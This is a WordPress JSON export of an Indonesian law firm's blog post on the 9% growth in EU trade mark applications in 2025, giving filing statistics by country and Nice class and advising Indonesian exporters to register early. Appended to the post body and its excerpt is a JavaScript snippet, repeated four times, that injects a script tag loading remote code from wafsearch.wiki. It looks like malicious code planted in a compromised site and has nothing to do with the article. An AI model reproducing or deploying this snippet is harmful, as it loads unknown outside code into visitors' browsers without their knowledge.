{"id":6021,"date":"2026-01-19T10:34:09","date_gmt":"2026-01-19T10:34:09","guid":{"rendered":"https:\/\/affa.co.id\/?p=5990"},"modified":"2026-01-19T10:34:09","modified_gmt":"2026-01-19T10:34:09","slug":"permohonan-merek-uni-eropa-naik-9-di-2025-saat-yang-tepat-bagi-pebisnis-indonesia-untuk-ekspansi-ke-eropa","status":"publish","type":"post","link":"https:\/\/affa.co.id\/bhs\/2026\/01\/19\/permohonan-merek-uni-eropa-naik-9-di-2025-saat-yang-tepat-bagi-pebisnis-indonesia-untuk-ekspansi-ke-eropa\/","title":{"rendered":"Permohonan Merek Uni Eropa Naik 9% di 2025: Saat yang Tepat bagi Pebisnis Indonesia untuk Ekspansi ke Eropa?"},"content":{"rendered":"<p><b><i>European Union Trade Mark (EUTM)<\/i><\/b><span style=\"font-weight: 400\"> terus menunjukkan daya tarik yang semakin kuat di mata pelaku usaha global. Sepanjang tahun 2025, <\/span><b><i>EUIPO (European Union Intellectual Property Office)<\/i><\/b><span style=\"font-weight: 400\"> menerima total 196.886 permohonan EUTM, atau naik sekitar 9,07% dibanding tahun 2024.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Tren kenaikan ini bukan sekadar angka statistik\u2014melainkan sinyal penting bahwa kompetisi Merek semakin ketat, sekaligus menunjukkan meningkatnya kesadaran bisnis untuk mengamankan identitas brand sejak dini di pasar Uni Eropa.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Bagi pebisnis Indonesia yang memiliki target ekspor ke Eropa, data ini adalah pengingat kuat kalau pendaftaran Merek di Uni Eropa bukan lagi opsi, melainkan kebutuhan strategis, yang harus dilakukan dengan cepat..<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Bagaimana EUTM Bekerja?<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">EUTM adalah sistem pendaftaran Merek terpusat yang memberikan perlindungan Merek di seluruh negara anggota Uni Eropa melalui satu permohonan. Artinya, jika permohonan EUTM disetujui, maka perlindungan Merek berlaku secara luas di seluruh wilayah Uni Eropa.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Dengan pasar Uni Eropa yang besar serta daya beli tinggi, EUTM menjadi salah satu instrumen IP yang sangat penting bagi eksportir, pelaku <\/span><i><span style=\"font-weight: 400\">e-commerce<\/span><\/i><span style=\"font-weight: 400\"> lintas negara, hingga perusahaan berbasis teknologi yang ingin beroperasi di kawasan ini..<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Mayoritas Permohonan EUTM Datang dari Pengajuan Langsung<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">EUIPO mencatat bahwa sepanjang tahun 2025:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">85,09% permohonan merupakan <\/span><i><span style=\"font-weight: 400\">direct applications<\/span><\/i><span style=\"font-weight: 400\"> (pengajuan langsung ke EUIPO).<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">14,91% berasal dari <\/span><b><i>Madrid Protocol <\/i><\/b><span style=\"font-weight: 400\">dengan tujuan EUTM.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Ini menunjukkan bahwa banyak Pemohon memilih jalur langsung karena dianggap lebih sesuai untuk strategi ekspansi, pengendalian dokumen, serta proses yang lebih spesifik.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Lalu Siapa yang Mendominasi Permohonan EUTM?<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Dari sisi asal permohonan, negara-negara EU masih mendominasi dengan kontribusi 57,5% permohonan. Namun menariknya, secara global, China menjadi negara asal permohonan terbesar!<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Berikut daftar negara permohonan EUTM terbanyak di 2025:<\/span><\/p>\n<ol>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">China \u2013 31.265<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Jerman \u2013 24.988<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Amerika Serikat \u2013 17.715<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Italia \u2013 13.502<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Spanyol \u2013 12.686<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Prancis \u2013 9.177<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">UK \u2013 8.411<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Polandia \u2013 7.826<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Belanda \u2013 7.179<\/span><\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Indonesia sendiri sepanjang 2025 hanya mencatatkan 40 permohonan, namun pertumbuhannya cukup konsisten dari tahun ke tahunnya. Dimana di tahun 2023 tercatat 24 permohonan dan di 2024 ada 35 permohonan, yang jika dirata-rata pertumbuhannya mencapai 30% per tahun!<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Angka yang cukup impresif jika dibandingkan dengan negara-negara yang mendominasi, dimana permohonan dari China tumbuh 13,3%, dan permohonan dari negara-negara EU hanya tumbuh 9,4%.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Kelas yang Banyak Diajukan Menunjukkan Tren Industri yang Potensial<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">EUIPO juga merilis daftar kelas Nice Classification dengan permohonan terbanyak pada 2025, dengan Top 10-nya sebagai berikut:<\/span><\/p>\n<ol>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Kelas 35 \u2013 37.251<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Kelas 09 \u2013 31.387<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Kelas 42 \u2013 26.038<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Kelas 41 \u2013 22.653<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Kelas 25 \u2013 13.405<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Kelas 05 \u2013 11.660<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Kelas 03 \u2013 10.856<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Kelas 37 \u2013 8.577<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Kelas 16 \u2013 8.388<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Kelas 36 \u2013 8.223<\/span><\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Apa artinya?<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Kelas 35 (perdagangan, pemasaran, retail, manajemen bisnis) tertinggi \u2192 menandakan ramainya sektor perdagangan &amp; e-commerce.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Kelas 09 (produk teknologi\/perangkat elektronik\/software) dan Kelas 42 (layanan teknologi\/SaaS\/IT) sangat tinggi \u2192 menunjukkan dominasi bisnis berbasis teknologi.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Kelas 25 (pakaian) tetap besar \u2192 menunjukkan bahwa brand fashion tetap menjadi medan \u201cperang Merek\u201d di Eropa.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><b>Mengapa Pertumbuhan Ini Jadi Peluang Besar bagi Pebisnis Indonesia?<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Kenaikan 9% permohonan EUTM menandakan 3 hal besar:<\/span><\/p>\n<ol>\n<li style=\"font-weight: 400\"><b>Kompetisi brand di Eropa semakin ketat.<\/b><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Semakin banyak permohonan berarti semakin tinggi potensi penolakan karena adanya kemiripan.<\/span><\/li>\n<li style=\"font-weight: 400\"><b>Risiko sengketa Merek semakin tinggi.<\/b><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Jika bisnis masuk pasar EU tanpa proteksi Merek, peluang meningkatnya 4 (empat) kasus berikut:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">opposition<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">sengketa penggunaan Merek<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">penghapusan listing marketplace<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">pembekuan distribusi<\/span><\/li>\n<\/ul>\n<\/li>\n<li style=\"font-weight: 400\"><b>Peluang ekspor makin besar\u2014yang siap akan menang.<\/b><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Banyaknya pengajuan menunjukkan Eropa tetap menjadi pasar strategis global. Perusahaan yang siap secara legal (termasuk perlindungan Merek) akan lebih mudah berkembang.<\/span><\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<p><b>Strategi yang Disarankan: Daftar Merek Sebelum Masuk Pasar!<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Kami menyarankan agar pebisnis Indonesia yang ingin ekspansi ke Uni Eropa melakukan 5 (lima) langkah berikut:<\/span><\/p>\n<ol>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Penelusuran Merek terlebih dahulu untuk memeriksa peluang pendaftaran.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Menentukan strategi pendaftaran:<\/span>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">EUTM <\/span><i><span style=\"font-weight: 400\">direct filing<\/span><\/i><span style=\"font-weight: 400\">, atau<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Madrid Protocol (jika sesuai)<\/span><\/li>\n<\/ul>\n<\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Menyusun klasifikasi kelas yang tepat, mengingat kelas yang paling diminati di Eropa (Kelas 35\/09\/42) sering menjadi kelas yang rawan konflik.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Memastikan <\/span><i><span style=\"font-weight: 400\">brand<\/span><\/i><span style=\"font-weight: 400\"> siap dipakai dan dipertahankan.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Menyiapkan strategi penegakan hukum jika terjadi pelanggaran.<\/span><\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<p><b>Jika Anda membutuhkan informasi lebih lanjut terkait Pendaftaran Merek di Uni Eropa, langsung\u00a0 hubungi kami melalui kanal berikut ini dan dapatkan 15 menit konsultasi GRATIS:<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">\ud83d\udce9 E-Mail<\/span> <span style=\"font-weight: 400\">: <\/span><a href=\"mailto:trademark@affa.co.id\"><span style=\"font-weight: 400\">trademark@affa.co.id<\/span><\/a><\/p>\n<p><span style=\"font-weight: 400\">\ud83d\udcde Book a Call<\/span> <span style=\"font-weight: 400\">: +62 21 83793812<\/span><\/p>\n<p><span style=\"font-weight: 400\">\ud83d\udcac WhatsApp<\/span> <span style=\"font-weight: 400\">: +62 812 87000 889<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Tentang AFFA: <\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Didirikan pada tahun 1999, AFFA Intellectual Property Rights adalah firma hukum Kekayaan Intelektual (KI) yang berbasis di Indonesia, dengan fokus pada layanan spesifik terkait KI, yang memberikan pendampingan komprehensif kepada Merek dan inovator internasional. AFFA menyediakan layanan terpadu mulai dari pengajuan dan pendaftaran KI, penyusunan dan pencatatan perjanjian lisensi, penegakan hukum atas pelanggaran, hingga komersialisasi KI, dalam lanskap Kekayaan Intelektual Indonesia yang dinamis.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">AFFA telah memperoleh pengakuan luas atas kualitas dan konsistensi layanannya, antara lain melalui penghargaan <\/span><b><i>\u201cBest Boutique Law Firm in Indonesia\u201d<\/i><\/b> <span style=\"font-weight: 400\">dan <\/span><b><i>\u201cIP Enforcement Firm\u201d <\/i><\/b><span style=\"font-weight: 400\">dalam Indonesia Law Firm Awards 2025 yang diselenggarakan oleh <\/span><b><i>Asia Business Law Journal<\/i><\/b><span style=\"font-weight: 400\">, serta tercatat sebagai <\/span><b><i>\u201cRecommended Firm 2024 \u2014 Indonesia\u201d <\/i><\/b><span style=\"font-weight: 400\">dalam publikasi <\/span><b><i>WTR 1000: The World\u2019s Leading Trademark Professionals<\/i><\/b><span style=\"font-weight: 400\">.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Informasi lebih lanjut mengenai AFFA dapat diakses melalui: <\/span><a href=\"http:\/\/www.affa.co.id\"><span style=\"font-weight: 400\">www.affa.co.id<\/span><\/a><span style=\"font-weight: 400\">.<\/span>var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"excerpt":{"rendered":"<p>European Union Trade Mark (EUTM) terus menunjukkan daya tarik yang semakin kuat di mata pelaku usaha global. Sepanjang tahun 2025, EUIPO (European Union Intellectual Property Office) menerima total 196.886 permohonan EUTM, atau naik sekitar 9,07% dibanding tahun 2024. &nbsp; Tren kenaikan ini bukan sekadar angka statistik\u2014melainkan sinyal penting bahwa kompetisi Merek semakin ketat, sekaligus menunjukkan meningkatnya kesadaran bisnis untuk mengamankan identitas brand sejak dini di pasar Uni Eropa. &nbsp; Bagi pebisnis Indonesia yang memiliki target ekspor ke Eropa, data ini adalah pengingat kuat kalau pendaftaran Merek di Uni Eropa bukan lagi opsi, melainkan kebutuhan strategis, yang harus dilakukan dengan cepat.. &nbsp; Bagaimana EUTM Bekerja? &nbsp; EUTM adalah sistem pendaftaran Merek terpusat yang memberikan perlindungan Merek di seluruh negara anggota Uni Eropa melalui satu permohonan. Artinya, jika permohonan EUTM disetujui, maka perlindungan Merek berlaku secara luas di seluruh wilayah Uni Eropa. &nbsp; Dengan pasar Uni Eropa yang besar serta daya beli tinggi, EUTM menjadi salah satu instrumen IP yang sangat penting bagi eksportir, pelaku e-commerce lintas negara, hingga perusahaan berbasis teknologi yang ingin beroperasi di kawasan ini.. &nbsp; Mayoritas Permohonan EUTM Datang dari Pengajuan Langsung &nbsp; EUIPO mencatat bahwa sepanjang tahun 2025: 85,09% permohonan merupakan direct applications (pengajuan langsung ke EUIPO). 14,91% berasal dari Madrid Protocol dengan tujuan EUTM. &nbsp; Ini menunjukkan bahwa banyak Pemohon memilih jalur langsung karena dianggap lebih sesuai untuk strategi ekspansi, pengendalian dokumen, serta proses yang lebih spesifik. &nbsp; Lalu Siapa yang Mendominasi Permohonan EUTM? &nbsp; Dari sisi asal permohonan, negara-negara EU masih mendominasi dengan kontribusi 57,5% permohonan. Namun menariknya, secara global, China menjadi negara asal permohonan terbesar! &nbsp; Berikut daftar negara permohonan EUTM terbanyak di 2025: China \u2013 31.265 Jerman \u2013 24.988 Amerika Serikat \u2013 17.715 Italia \u2013 13.502 Spanyol \u2013 12.686 Prancis \u2013 9.177 UK \u2013 8.411 Polandia \u2013 7.826 Belanda \u2013 7.179 &nbsp; Indonesia sendiri sepanjang 2025 hanya mencatatkan 40 permohonan, namun pertumbuhannya cukup konsisten dari tahun ke tahunnya. Dimana di tahun 2023 tercatat 24 permohonan dan di 2024 ada 35 permohonan, yang jika dirata-rata pertumbuhannya mencapai 30% per tahun! &nbsp; Angka yang cukup impresif jika dibandingkan dengan negara-negara yang mendominasi, dimana permohonan dari China tumbuh 13,3%, dan permohonan dari negara-negara EU hanya tumbuh 9,4%. &nbsp; Kelas yang Banyak Diajukan Menunjukkan Tren Industri yang Potensial &nbsp; EUIPO juga merilis daftar kelas Nice Classification dengan permohonan terbanyak pada 2025, dengan Top 10-nya sebagai berikut: Kelas 35 \u2013 37.251 Kelas 09 \u2013 31.387 Kelas 42 \u2013 26.038 Kelas 41 \u2013 22.653 Kelas 25 \u2013 13.405 Kelas 05 \u2013 11.660 Kelas 03 \u2013 10.856 Kelas 37 \u2013 8.577 Kelas 16 \u2013 8.388 Kelas 36 \u2013 8.223 &nbsp; Apa artinya? Kelas 35 (perdagangan, pemasaran, retail, manajemen bisnis) tertinggi \u2192 menandakan ramainya sektor perdagangan &amp; e-commerce. Kelas 09 (produk teknologi\/perangkat elektronik\/software) dan Kelas 42 (layanan teknologi\/SaaS\/IT) sangat tinggi \u2192 menunjukkan dominasi bisnis berbasis teknologi. Kelas 25 (pakaian) tetap besar \u2192 menunjukkan bahwa brand fashion tetap menjadi medan \u201cperang Merek\u201d di Eropa. &nbsp; Mengapa Pertumbuhan Ini Jadi Peluang Besar bagi Pebisnis Indonesia? &nbsp; Kenaikan 9% permohonan EUTM menandakan 3 hal besar: Kompetisi brand di Eropa semakin ketat. Semakin banyak permohonan berarti semakin tinggi potensi penolakan karena adanya kemiripan. Risiko sengketa Merek semakin tinggi. Jika bisnis masuk pasar EU tanpa proteksi Merek, peluang meningkatnya 4 (empat) kasus berikut: opposition sengketa penggunaan Merek penghapusan listing marketplace pembekuan distribusi Peluang ekspor makin besar\u2014yang siap akan menang. Banyaknya pengajuan menunjukkan Eropa tetap menjadi pasar strategis global. Perusahaan yang siap secara legal (termasuk perlindungan Merek) akan lebih mudah berkembang. &nbsp; Strategi yang Disarankan: Daftar Merek Sebelum Masuk Pasar! &nbsp; Kami menyarankan agar pebisnis Indonesia yang ingin ekspansi ke Uni Eropa melakukan 5 (lima) langkah berikut: Penelusuran Merek terlebih dahulu untuk memeriksa peluang pendaftaran. Menentukan strategi pendaftaran: EUTM direct filing, atau Madrid Protocol (jika sesuai) Menyusun klasifikasi kelas yang tepat, mengingat kelas yang paling diminati di Eropa (Kelas 35\/09\/42) sering menjadi kelas yang rawan konflik. Memastikan brand siap dipakai dan dipertahankan. Menyiapkan strategi penegakan hukum jika terjadi pelanggaran. &nbsp; Jika Anda membutuhkan informasi lebih lanjut terkait Pendaftaran Merek di Uni Eropa, langsung\u00a0 hubungi kami melalui kanal berikut ini dan dapatkan 15 menit konsultasi GRATIS: &nbsp; \ud83d\udce9 E-Mail : trademark@affa.co.id \ud83d\udcde Book a Call : +62 21 83793812 \ud83d\udcac WhatsApp : +62 812 87000 889 &nbsp; Tentang AFFA: Didirikan pada tahun 1999, AFFA Intellectual Property Rights adalah firma hukum Kekayaan Intelektual (KI) yang berbasis di Indonesia, dengan fokus pada layanan spesifik terkait KI, yang memberikan pendampingan komprehensif kepada Merek dan inovator internasional. AFFA menyediakan layanan terpadu mulai dari pengajuan dan pendaftaran KI, penyusunan dan pencatatan perjanjian lisensi, penegakan hukum atas pelanggaran, hingga komersialisasi KI, dalam lanskap Kekayaan Intelektual Indonesia yang dinamis. &nbsp; AFFA telah memperoleh pengakuan luas atas kualitas dan konsistensi layanannya, antara lain melalui penghargaan \u201cBest Boutique Law Firm in Indonesia\u201d dan \u201cIP Enforcement Firm\u201d dalam Indonesia Law Firm Awards 2025 yang diselenggarakan oleh Asia Business Law Journal, serta tercatat sebagai \u201cRecommended Firm 2024 \u2014 Indonesia\u201d dalam publikasi WTR 1000: The World\u2019s Leading Trademark Professionals. Informasi lebih lanjut mengenai AFFA dapat diakses melalui: www.affa.co.id.var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"author":1,"featured_media":6060,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[277,279],"tags":[609,610,618,619,620,298,305,306,307,308,309,310,314,315,317,318],"class_list":["post-6021","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-intellectual-property","category-trademark","tag-indonesia-trademark-registration","tag-overseas-trademark","tag-indonesia-copyright-registration","tag-indonesia-industrial-design-registration","tag-indonesia-patent-registration","tag-merek","tag-affa","tag-affa-ipr","tag-intellectual-property","tag-ip","tag-kekayaan-intelektual","tag-ki","tag-your-ip-is-our-expertise","tag-merek-indonesia-bisa","tag-timing-is-everything","tag-trademark"],"_links":{"self":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/6021","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/comments?post=6021"}],"version-history":[{"count":0,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/6021\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media\/6060"}],"wp:attachment":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media?parent=6021"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/categories?post=6021"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/tags?post=6021"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}